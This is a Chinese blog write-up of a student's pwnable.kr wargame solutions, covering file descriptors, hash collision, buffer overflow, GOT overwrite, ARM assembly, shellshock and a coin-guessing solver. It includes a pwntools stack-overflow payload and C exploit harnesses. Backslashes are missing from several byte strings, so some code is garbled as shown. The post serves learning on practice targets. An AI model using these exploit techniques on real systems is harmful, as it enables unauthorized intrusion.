• pwnable.kr刷题记录


    写在前面

    最近保研也保上了,以后打算做软件和系统安全方向,刚好最近闲着,本科也没咋学习过这方面,所以就来刷刷pwnable.kr网站上面的题目吧,也算是打打基础了。
    这里开个坑,主要是记录一下自己在刷题过程中学到的东西,然后做题也就是慢慢做着看吧,遇到不会的再去递归式学习就好啦,那现在就开始了吧。


    pwnable.kr fd

    step1


    先连进去看看,看到这三个文件

    step2

    打开这个c文件阅读一下

    首先看一下这个代码,这里用到了read函数,也就是说如果你可以输入一个合适的参数,它就可以通过这个参数去构建一个fd,我们只需要让buff数组读进去的内容等于“LETMEWIN ”,这个题就可以做出来了。那么现在就学习一下linux环境下fd相关的知识。这里只用到了最基本的fd相关知识,即
    fd == 0为从标准输入读取
    fd == 1为从标准输出读取
    fd == 2为从标准错误输出读取
    那么我们想一下是不是让fd等于0,然后在标准输入里面输入字符串内容,就可以将它读取到buff里面了呢,下面来试一下。

    step3

    补充一些东西吧:
    int argc:这个东西是所有参数的个数
    char* argv[]:这个东西里面,argv[]是argc个参数,其中第0个参数是程序的全名,后面跟着的就是用户输入的参数了
    char* envp[]:这个东西用来取得系统的环境变量,envp保存了系统所有的环境变量路径,这个题目里面也暂时用不到奥
    atoi():atoi()函数会扫描参数 str 字符串,跳过前面的空白字符(例如空格,tab 缩进等,可以通过 isspace() 函数来检测),直到遇上数字或正负符号才开始做转换,而再遇到非数字或字符串结束时('')才结束转换,并将结果返回,返回转换后的整型数;如果 str 不能转换成 int 或者 str 为空字符串,那么将返回 0。
    程序中为了让fd等于0,首先0x1234转换成十进制为4660,那么我们是不是输入4660就可以了呢,这里试一下。
    然后这时候你就可以在标准输入中输入"LETMEWIN",最后跳出来的东西就是flag了。


    pwnable.kr collision

    step1


    是这样的一个题目,题目里面有提到md5哈希碰撞,以前本科期间密码学也有学到过相关的知识,反正先连进去看看情况,里面经典三个文件,首先看下这个c程序吧,如下所示:

    step2

    分析一下这个c程序,大概意思就是你输入的 char* 会被强制转换成 int* ,也就是每 4bytes 作为一项,然后将他们加起来,如果每一项加起来的内容等于源程序给出的 0x21DD09EC ,那么就通过了!
    这里重点分析一下这个强制转换吧,这里直接说也说不清楚,我举个例子好了:
    比如你输入 abcdefg1234567890hij 这20字节的数据,那么它在程序中的十六进制是这样存储的 616263646566673132333435363738393068696a
    如果这时候我们将其进行强制转换,转换为 int 类型指针,因为 int 类型是 4 字节,而且现在计算机大部分都采用小端字序,因此它现在是这样的 646362613167666535343332393837366a696830
    现在就需要我们构造一个这样的字符串,让他们转换后的每一项加起来等于 21DD09EC ,即 10 进制的 568134124

    step3

    这里我看了一下,这个数字貌似是比较小,如果直接加起来的话其实很不好加,因为 res 也是 int 型的变量所以这里考虑一下让 int 溢出的情况吧。
    这里我们可以让 res 等于这个数 4863101420 = 2147483647+2147483649+568134124,在 int 下它的值仍然为 568134124。
    其中 4863101420 = 808464432 * 3 + 1092954412 + 1344753712,其中 808464432 的十六进制为 30303030,对应的 ascii 为 00001092954412 的十六进制为 4125292c,对应的 ascii 为 A%),1344753712 的十六进制为 50275030,对应的 ascii 为 P'P0
    总之现在我们知道输入是什么了,现在输入000000000000,)%A0P'P就完事大吉了。这里还遇到了一个问题就是 linux 命令行输入一些字符会被当作 bash 里面的特殊字符解释,这里只需要在输入时候外面嵌套一层单引号或者双引号即可将其当普通字符串处理,如下所示:


    pwnable.kr bof

    step1

    这个程序我们可以直接看源码,分析一下之后显而易见就是一个最基本的缓冲区溢出的漏洞题目。既然要说缓冲区溢出,这里就先复习一下相关的知识好了。
    根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行。但是不管什么样的操作系统、什么样的计算机架构,进程使用的内存都可以按照功能大致分成以下 4 个部分。
    1. 代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。
    2. 数据区:用于存储全局变量等。
    3. 堆区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。动态分配和回收是堆区的特点。
    4. 栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行。
    这个题目就是典型的栈溢出的题目,这里也重点说一下有关栈的内容,也就是函数调用涉及到的相关知识,这里我摘取一张图,这个图来自《0day安全这本书》,如下所示:

    最后,在系统栈里面,虽然栈顶增大的方向是从高地址到低地址,但是申请的一个空间里面,也就是说函数中的局部变量buffer里数据填充的方向是从低地址向高地址方向填充。

    step2

    知道了这些东西之后,我们就可以分析一下这个程序了,为了方便期间直接将其拖入 IDA 进行分析,可以看到其中 s 就是被调用函数里申请的 char 型数组局部变量的气势地址,是 ebp-2C
    再看一下我们传进去用作比较的参数 arg_0 位置为 ebp+8,其中 ebp~ebp+4 这段保存的是 main 函数的栈帧基址,ebp+4~ebp+8 这段保存的是函数返回地址,所以从 ebp+8 开始就是我们传进去的参数了,现在我们要做的就是将这个参数进行覆盖。
    也许有人问这个 VAR_C 是啥,我也不知道,这应该是一种栈保护机制吧,这里可以不用管它

    step3

    这里因为 gets 没有对字符串长度进行判断,因此我们可以快乐将其覆盖,算一下 2C+8 = 0x34,也就是52,最后因为系统里面使用的是小端字序,所以记得要调整一下顺序,因为这里有很多不可见字符无法直接在命令行输入,所以我使用了 pwntools,代码如下所示:

    from pwn import *
    r = remote('pwnable.kr',9000)
    r.send('x30'*52+'xbexbaxfexca')
    r.interactive()
    

    最后结果如下所示:


    pwnable.kr flag

    这个题怎么说呢。。。没啥好讲的

    step1

    拿到二进制文件,然后用 linux 下的 strings 查看里面的字符串,看到提示有说使用了 UPX 压缩,然后使用 linux 解压缩。

    step2

    解压缩后的文件拖进 IDA,flag地方直接指向的那段字符串就是答案了。。。太过简单这里不放图了


    pwnable.kr password

    step1

    连进去看一下这里面都有些啥东西,进去之后可以看到里面是一个 c 源码和它编译后的程序,首先看一下这个 c 源码。

    乍一看好像没啥问题,但是细看之后就可以发现这个 scanf 函数里面没有写取地址符,这必然会造成错误。
    然后我们使用 objdump 反汇编一下这个二进制文件,两个函数的汇编代码分别如下图所示:

    step2

    这一步我们可以看一下这两个汇编代码,可以看到,welcome 函数里面开的数组起始地址为 ebp-0x70,在 login 函数里面两个变量的地址分别为 ebp-0x10 (passcode1) 和 ebp-0xc (passcode2) ,因为在 main 函数中 welcome 和 login 函数是连着调用的,因此他们的 ebp 的值也应该是一样的。现在算一下数组的起始地址和 passcode1 的起始地址刚好差 0x60,也就是 96 个字符,因为 welcome 里面对输入有限制是 100 个字节,所以这里刚好能覆盖到 passcode1 的地址。
    分析完毕之后,就该想一下现在该怎么做才可以让它绕过判断执行后面的程序了。

    step3

    其实看到这里我在做的时候就已经不太懂了,然后网上搜了一下 writeup 后发现这个题目涉及到一些 GOT 和 PLT 表相关的内容,这里我学习了一下相关的内容。
    推荐这一篇回答,我个人认为说的非常清楚:https://www.zhihu.com/question/21249496/answer/126600437
    因为 PLT 表是代码段,不可覆盖,所以这里我们可以选择覆盖 GOT 表,这里使用 objdump 来查看 GOT 表,如下所示:

    我们可以让 passcode1 的值等于 printf 函数或者 fflush 函数的地址,因为 print 和 fflush 都在 scanf 函数之后执行,把 passcode1 的值写成它们在 got 表的地址,因为 scanf 参数没有加地址符,所以会直接把 passcode1 的值放入栈中,也就是 got 表的地址,然后执行 scanf 函数,把我们输入的值写入 got 表地址所代表的内存空间中,这样之后在调用 print 或者 fflush 时会访问 PLT 表,然后根据 PLT 表内储存的 GOT 表的地址访问相应的 GOT 表项,然后执行 GOT 表项所指向的程序段落,这样我们就能通过修改 GOT 表内的内容,来随意控制程序执行我们想要执行的内容。
    现在分析一下我们希望跳转到的函数,我们目前希望执行那一句 system 函数。这里我刚开始犯了个错误,我刚开始时候直接输入的是 call 指令所在的地址,但是其实 system 函数也是有参数的,所以其实这里应该调转到 call 前面压入参数的那一条指令的地址,现在我们可以从上面反汇编之后的内容中看到这个地址为 0x80485e3(0x080485e3)
    接下来我们先将 passcode1 覆盖成 GOT 表的地址,之后输入 system 函数的地址覆盖这个 GOT 表项,因为输入要求是 %d 整数格式,因为 0x80485e3 == 134514147,所以我们构造的输入就如下所示

    得到 flag


    pwnable.kr random

    step1

    连进去看一下源码,如下所示:

    step2

    这其实是一个考察 rand 函数的题,很简单,网上随便一找就知道 rand 函数前面没有调用 srand 随机种子的话,rand 函数会自动调用一个 srand(1),这样每次运行这个程序其实 rand 出来的随机数都是一样的,现在使用 gdb 调试一下这个程序,直接 gdb main,然后用汇编一步一步走,定位到 rand 之后的 eax 值,发现他们其实都是一个数 0x6b8b4567。然后用 0x6b8b4567 ^ 0xdeadbeef,得到的东西转化为 unsigned int 类型的数字即可,如下所示:


    pwnable.kr input

    这个题是纯考C语言编程的题目,题目内容这里就不放了。这里我用 scp 工具把服务器上的程序复制到本地了。

    step1

    解决第一步,argv 参数的问题。这里因为需要 100 个参数,因为运行时候第一个参数就是程序本身,因此还需要填充 99 个额外参数,除此之外,argv 和 envp 需要以 NULL 结尾。这里数组的下标使用 'A'和'B'这种形式,记住这里必须使用单引号,它会自动转换为 ascii 码。这里使用 <unistd.h> 函数库中的 execve() 函数进行执行。目前代码如下所示:

    #include <stdio.h>
    #include <unistd.h>
    
    int main(int argc, char const *argv[])
    {
            // argv
            char *new_argv[100];
            char *new_envp[1];
            new_envp[0] = NULL;
            for (int i = 0; i < 100; i++)
            {
                    new_argv[i]="";
            }
            new_argv['A'] = "x00";
            new_argv['B'] = "x20x0ax0d";
            new_argv[100] = NULL;
    
    
            execve("/home/hikonaka/pwnable.kr/input", new_argv, new_envp);
    }
    

    第一步执行成功后就是这个样子

    step2

    首先 read 函数的第一个参数 0,1,2 是文件描述符,分别对应 0(stdin)、1(stdout)、2(stderr),这里就是要从 stdin 和 stderr 里面读入字符然后比较。我不是很清楚应该怎么从 stderr 里面读入字符,因此上网查了一下,这里说需要使用 pipe ,即 linux 里面的管道操作来实现,有关管道的内容这里我放了一篇介绍的非常详细的博客,链接贴在下面了:
    https://tennysonsky.blog.csdn.net/article/details/46315517
    https://blog.csdn.net/qq_42914528/article/details/82023408
    因为说到管道,肯定要提到进程,也就是有关 fork() 函数的使用,这里我深感自己了解的内容不足,于是我又找到一篇写的很好的博客,链接贴在下面了:
    https://www.cnblogs.com/dongguolei/p/8086346.html
    因为这个题目还要涉及到 IO 重定向相关的内容,因此可能需要额外学习 dup()dup2() 相关的内容,这里也找到一篇写的比较清楚的博客,贴在下面:
    https://blog.csdn.net/tiandc/article/details/81489447
    https://blog.csdn.net/u010006102/article/details/39667875
    现在说一下这个题目的思路吧,这个题目就是要求从 stdin(0) 和 stderr(2) 里面读入4个字节的数据,然后进行比较,如果比较通过了就ok。stdin 标准输入还好说,但是 stderr 没法直接读。因此这个题的思路就是重定向,将别的内容重定向到文件描述符 0 和 2 上面。那么怎么把数据发过去呢,这里我觉得使用文件读入也可以,但是参考了一下网上的内容之后还是使用了管道,让我们的 exp 文件生成一个子进程,然后子进程向父进程中写入数据,然后将两个管道的读端分别和 stdin、stderr 连接起来。这样 read 函数在度的时候其实度的就是管道读端的内容。代码如下所示:

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    int main(int argc, char const *argv[])
    {
    	// argv
    	char *new_argv[100];
    	char *new_envp[1];
    	
    	for (int i = 0; i < 100; i++)
    	{
    		new_argv[i]="";
    	}
    	new_argv['A'] = "x00";
    	new_argv['B'] = "x20x0ax0d";
    	new_argv[100] = NULL;
    	
    	new_envp[0] = NULL;
    
    	// stdio
    	int pipe2stdin[2];
    	int pipe2stderr[2];
    	pid_t childpid;
    	if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0 ){
    		perror("Can't open pipe");
    		exit(1);
    	}
    	if ( (childpid = fork()) < 0 ){
    		perror("Can't fork");
    		exit(1);
    	}
    	if ( childpid == 0 ){
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    		write(pipe2stdin[1],"x00x0ax00xff",4);
    		write(pipe2stderr[1],"x00x0ax02xff",4);
    	}
    	else {
    		close(pipe2stdin[1]);
    		close(pipe2stderr[1]);
    		dup2(pipe2stdin[0],0);
    		dup2(pipe2stderr[0],2);
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    		execve("/home/hikonaka/pwnable.kr/input", new_argv, new_envp);
    	}
    
    }
    

    step3。

    第三个就很简单了,直接设置环境变量就可以,环境变量内容写到char *new_envp[]这个东西里面就可以了,它的配置格式是xxxxxx=xxxxxx,直接上代码吧,如下所示:

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    int main(int argc, char const *argv[])
    {
    	// argv
    	char *new_argv[100];
    	char *new_envp[2];
    	
    	for (int i = 0; i < 100; i++)
    	{
    		new_argv[i]="";
    	}
    	new_argv['A'] = "x00";
    	new_argv['B'] = "x20x0ax0d";
    	new_argv[100] = NULL;
    	
    	// env
    	new_envp[0] = "xdexadxbexef=xcaxfexbaxbe";
    	new_envp[1] = NULL;
    
    	// stdio
    	int pipe2stdin[2];
    	int pipe2stderr[2];
    	pid_t childpid;
    	if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0 ){
    		perror("Can't open pipe");
    		exit(1);
    	}
    	if ( (childpid = fork()) < 0 ){
    		perror("Can't fork");
    		exit(1);
    	}
    	if ( childpid == 0 ){
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    		write(pipe2stdin[1],"x00x0ax00xff",4);
    		write(pipe2stderr[1],"x00x0ax02xff",4);
    	}
    	else {
    		close(pipe2stdin[1]);
    		close(pipe2stderr[1]);
    		dup2(pipe2stdin[0],0);
    		dup2(pipe2stderr[0],2);
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    		execve("/home/hikonaka/pwnable.kr/input", new_argv, new_envp);
    	}
    
    }
    

    step4

    第四步它要求的就是读这么一个文件,然后如果这个文件里面的内容是 x00x00x00x00 就可以了。这个题很简单,直接往这么一个文件里面写入东西就可以了,这里用到fopenfwrite函数。这两个函数都是很常见的函数,所以就不多介绍了,直接上代码,如下所示:

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    int main(int argc, char const *argv[])
    {
    	// argv
    	char *new_argv[100];
    	char *new_envp[2];
    	
    	for (int i = 0; i < 100; i++)
    	{
    		new_argv[i]="";
    	}
    	new_argv['A'] = "x00";
    	new_argv['B'] = "x20x0ax0d";
    	new_argv[100] = NULL;
    	
    	// env
    	new_envp[0] = "xdexadxbexef=xcaxfexbaxbe";
    	new_envp[1] = NULL;
    
    	// stdio
    	int pipe2stdin[2];
    	int pipe2stderr[2];
    	pid_t childpid;
    	if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0 ){
    		perror("Can't open pipe");
    		exit(1);
    	}
    	if ( (childpid = fork()) < 0 ){
    		perror("Can't fork");
    		exit(1);
    	}
    	if ( childpid == 0 ){
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    		write(pipe2stdin[1],"x00x0ax00xff",4);
    		write(pipe2stderr[1],"x00x0ax02xff",4);
    	}
    	else {
    		close(pipe2stdin[1]);
    		close(pipe2stderr[1]);
    		dup2(pipe2stdin[0],0);
    		dup2(pipe2stderr[0],2);
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    
    		//file 
    		FILE *fp = fopen("x0a","w");
    		fwrite("x00x00x00x00", 4, 1, fp);
    		fclose(fp);
    
    		execve("/home/hikonaka/pwnable.kr/input", new_argv, new_envp);
    	}
    }
    

    step5

    这个题目考察的是 linux 下 C 的网络编程知识,相关的内容自己其实没怎么看过,所以就只能现学了!
    这里参考这两篇博客进行学习:
    https://blog.csdn.net/qq_37653144/article/details/81605294
    https://blog.csdn.net/lovekun1989/article/details/41042273
    在第五步里面,input变为了 Server,需要我们向给定的端口号发送一段正确的数据,这里给出的端口号是argv['C'],现在我们在参数中自己设置一个端口,那就假设服务器这个端口号是 6666 吧。那么现在只要我们向服务端发送数据 “xdexadxbexef”,这样这个我们就可以那到flag了。好,目前我们还遇到一个问题是,这个程序是我目前运行在本地的,所以我们届时在发送数据的时候只需要将其直接发送到本地的端口上即可。
    现在为了确保让服务器建立成功之后,我们客户端才连接上去并发送邮件,所以我们先执行execve函数,让程序休眠一会后再让客户端连接和发送。直接上代码,如下所示:

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    
    int main(int argc, char const *argv[])
    {
    	// argv
    	char *new_argv[101];
    	char *new_envp[2];
    	
    	for (int i = 0; i < 100; i++)
    	{
    		new_argv[i]="";
    	}
    	new_argv['A'] = "x00";
    	new_argv['B'] = "x20x0ax0d";
    	new_argv['C'] = "6666";
    	new_argv[100] = NULL;
    	
    	// env
    	new_envp[0] = "xdexadxbexef=xcaxfexbaxbe";
    	new_envp[1] = NULL;
    
    	// stdio
    	int pipe2stdin[2];
    	int pipe2stderr[2];
    	pid_t childpid;
    	if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0 ){
    		perror("Can't open pipe");
    		exit(1);
    	}
    	if ( (childpid = fork()) < 0 ){
    		perror("Can't fork");
    		exit(1);
    	}
    	if ( childpid == 0 ){
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    		write(pipe2stdin[1],"x00x0ax00xff",4);
    		write(pipe2stderr[1],"x00x0ax02xff",4);
    	}
    	else {
    		close(pipe2stdin[1]);
    		close(pipe2stderr[1]);
    		dup2(pipe2stdin[0],0);
    		dup2(pipe2stderr[0],2);
    		close(pipe2stdin[0]);
    		close(pipe2stderr[0]);
    
    		//file 
    		FILE *fp = fopen("x0a","w");
    		fwrite("x00x00x00x00", 4, 1, fp);
    		fclose(fp);
    
    		execve("/home/input2/input", new_argv, new_envp);
    	}
    
    	// network
    	sleep(3);
    	int sockfd;
    	struct sockaddr_in server;
    	sockfd = socket(AF_INET,SOCK_STREAM,0);
    	if ( sockfd < 0 ){
    		perror("Cannot create the socket");
    		exit(1);
    	}
    	server.sin_family = AF_INET;
    	server.sin_addr.s_addr = inet_addr("127.0.0.1");
    	server.sin_port = htons(6666);
    	if ( connect(sockfd, (struct sockaddr*)&server, sizeof(server)) < 0 ){
    		perror("Problem connecting");
    		exit(1);
    	}
    	printf("Connected
    ");
    	write(sockfd,"xdexadxbexef",4);
    	close(sockfd);
    	return 0;
    }
    

    运行之后的结果如下所示:

    step6

    现在问题来了,那么 flag 在哪里呢,现在想一下,哦原来当时为了方便测试我们是吧这个文件从 pwnable.kr 的服务器上下载过来了,现在想要拿到 flag,我们就需要修改一下这个文件,然后编译后给它上传到服务器上去,这里同样还是使用 scp 命令来执行,这里我们使用 scp 命令把本地的二进制文件上传到服务器 tmp 目录下,因为只有这个目录有权限。但是上去之后,我们发现这个 tmp 目录下乱七八糟东西太多了,于是我们干脆在这个目录下创建一个新的目录,起一个独特的名字,把二进制文件传进来吧。
    现在问题又来了,我们应该怎么执行这个文件才可以拿到 /home/input2 目录下的 flag 呢? 这里用到 linux 里面的链接功能,ln -s /home/input2/flag flag一下就ok啦,最后我们在服务器上运行这个二进制文件,结果如下所示:


    pwnable.kr leg

    step1

    这个题目进去就是有提示使用 arm 汇编,我本着啥不会就开始学啥的态度。先不看题,先到网上找找有关 arm 汇编相关的知识。
    这里推荐这几篇学习 arm 汇编的文章,我个人觉得差不多能看个入门
    ARM汇编简介(一):https://zhuanlan.zhihu.com/p/82490125
    ARM汇编简介(二):https://zhuanlan.zhihu.com/p/83578174
    ARM汇编简介(三):https://zhuanlan.zhihu.com/p/84951062
    现在还需要一些知识,也就是arm汇编里面,函数的返回值保存在 r0 中,
    以及 arm 架构存在 arm 和 thumb 两种模式,还有就是在 arm7 体系中,pc 寄存器的值指向当前运行指令的后两条的位置(在 arm 模式下就是当前指令地址+8)
    具体可参考下面这个博客
    https://www.cnblogs.com/ichunqiu/p/9056630.html

    step2

    现在开始分析一下,先看 key1

    让 r0 = pc,此时是 arm 模式,所以 pc 寄存器的值指向的是 0x00008cdc+0x8,所以返回值就是 0x00008ce4

    step3

    现在看 key2

    首先在栈中保存了一下 r6 寄存器原始的值,然后给 r6 = pc + 1,然后 bx r6,这里其实就是跳转到(pc)地址去执行,因为 arm 里面如果 bx 后面跟的寄存器最低位是 1 ,说明此时应该切换到 thumb 模式,也就是 16 位模式下,此时 pc 寄存器的值就是当前指令地址 +4 了。
    现在继续往下看,在 thumb 模式下指令集结构其实也不是完全和 arm 模式下的一样。首先 r3 = pc ,即 r3 = 0x8d08,然后 adds r3,#4 就是给 0x8d08 + 0x4 = 0x8d0c。最后 push 和 pop 相当于给 pc 赋了一个新的值将其转到 pop {r6} 这条指令的位置,最后拿到最早的 pop 的值,最后赋值给 r0,所以 r0 = 0x00008d0c

    step4

    现在看一下 key3

    最重要的就是这两条指令,这里是将 LR 连接寄存器的值赋给了返回寄存器 r0,那么连接寄存器又是啥呢?在函数调用时候,子函数内连接寄存器保存的是该函数的返回地址,也就是 0x00008d80。

    step5

    最后看一下 main 函数,这里就不放图了,总之就是把这三个数加起来和输入的相同,那么就作对了。我们输入时候是按照 %d 输入的,这里计算一下看看到底是多少。
    0x00008ce4 + 0x00008d0c + 0x00008d80 = 0x0001A770 = 108400
    这就是我们要输入的数了,现在试一下,拿到 flag,如下所示:

    step6

    这里留一个问题,希望有老懂哥可以解答一下。就是在 key2 这个函数里面,为什么 pop {r6} 之后程序就自动转换为 arm 模式了呢,它也没有使用 bx 命令再去跳转,这是我非常疑惑的一个点。


    pwnable.kr mistake

    step1

    这个题目提示这个题不需要什么额外的技巧,只和运算符优先级有关。总之我们先看一下这个题目,这个题目因为代码太长了这里就不方了。因为这个题目也很简单,这里直接说问题。
    这个题目的问题就在打开文件的那一句 if 判断上面,下面是百度复制过来的 c 语言运算符优先级,大家可以看到大于小于判断是优先于 = 的。

    那么这个判断其实就出错了,这样一来 fd = 0,相当于标准输入,那么下面 read 函数其实也就是在标准输入里读取了。

    step2

    第一次标准输入读取时候我们输入 1111111111 这个字符串,第二次输入时候输入 0000000000,这样他们异或之后就是相同的了,结果如下所示:


    pwnable.kr shellshock

    step1

    这个题目以及说的非常清楚了,就是 shellshock 这个漏洞,有关 shellshock ,这里我找的这篇博客说的感觉还是很清楚的,大家可以看一下
    https://blog.csdn.net/risingsun001/article/details/39637417

    step2

    现在看一下源码,源码如下所示:

    这里就是将该程序的 [r/e/s]uid 和 [r/e/s]gid 修改成当前运行这个程序时的有效 gid,也许有人不了解这些都是啥东西,这里我也找到了几篇博客大家可以看一看:
    https://blog.csdn.net/bpb_cx/article/details/82700790
    https://www.cnblogs.com/bwangel23/archive/2015/01/15/4225818.html
    好,总之现在这个程序的权限和 root 用户是一样的了。

    step3

    我们以及知道这个是 shellshock 漏洞了,所以我们直接构造攻击指令,如下所示:

    然后就可以得到结果。


    pwnable.kr coin1

    step1

    这个题太简单了,直接就二分查找法,可能在考验你写脚本的能力。直接上代码

    from pwn import *
    
    def solve(io,n,c):
        left = 0
        right = n
        for i in range(c):
            guess = ' '.join(str(num) for num in range(left,int((left+right)/2)))
            io.sendline(guess)
            output = int(io.recvline().decode('utf-8').strip())
            if (output % 10 == 0):
                left = int((left+right)/2)
            else:
                right = int((left+right)/2)
        
        io.sendline(str(left))
        print(io.recvline().decode('utf-8').strip())
    
    if __name__ == '__main__':
        io = remote('localhost','9007')
        print(io.recv())
        sleep(4)
        
        for i in range(100):
            info = (io.recvline().decode('utf-8')).strip().split(' ')
            N = info[0].split('=')[1]
            C = info[1].split('=')[1]
            solve(io,int(N),int(C))
        exit(0) 
    
  • 相关阅读:
    DRF (Django REST framework) 框架介绍(2)
    DRF (Django REST framework) 框架介绍(1)
    Django中的Admin站点
    Django中的模板和表单
    Django数据库
    跨站请求伪造CSRF以及Flask中的解决办法
    Flask中的模板,Jinjia2介绍
    Flask中的上下文和flask-script扩展
    化学品撮合交易系统
    化学品产品查询系统解决方案
  • 原文地址:https://www.cnblogs.com/wangyanzhong123/p/13768752.html
Copyright © 2020-2023  润新知